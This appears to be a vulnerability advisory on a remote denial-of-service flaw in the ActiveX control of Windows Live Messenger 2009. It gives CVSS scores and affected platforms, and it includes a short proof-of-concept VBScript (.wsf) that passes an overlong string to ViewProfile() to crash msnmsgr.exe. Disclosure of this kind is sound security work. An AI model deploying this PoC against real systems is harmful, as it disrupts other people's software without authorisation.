Windows Live Messenger 2009 ActiveX DoS Vulnerability

Credit: hackattack
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Product: Windows Live Messenger 2009 (Build 14.0.8089.726) ************************************************************************ ******** Vulnerability: ActiveX - Denial of Service ************************************************************************ ******** Discussion: Vulnerability is in Activex Control(msgsc.14.0.8089.726.dll) Sending a string to ViewProfile() , cause a crash on msnmsgr.exe *must be signed in Msn Messenger account for triggerin the vulnerability. ************************************************************************ ******** Vulnerable: Windows Live Messenger 2009 on Windows Vista Windows Live Messenger 2009 on Windows 7 Not Vulnerable: Windows Live Messenger 2009 on Windows XP Credits: HACKATTACK IT SECURITY GmbH Penetration Testing in Deutschland - sterreich - Schweiz and Natal Networks Inc. Vulnerability Discovery, Penetration Testing, IT Security Consulting ************************************************************************ ******** Original Advisory ************************************************************************ ******** PoC .wsf script: 'works on vista and windows7 <package> <job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:B69003B3-C55E-4B48-836C-BC5946FC3B28' id='target' /> <script language='vbscript'> arg1=("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") target.ViewProfile arg1 </script> </job> </package> About HACKATTACK and Natal Networks ================ HACKATTACK IT SECURITY GmbH is a Penetrationtest and Security Auditing company located in Germany and Austria More Information about HACKATTACK at Natal Networks was founded by Hellcode Research Team in 2009. Main mission of Natal Network is discover and research vulnerabilities. Providing penetration tests and security auditing services. More about;


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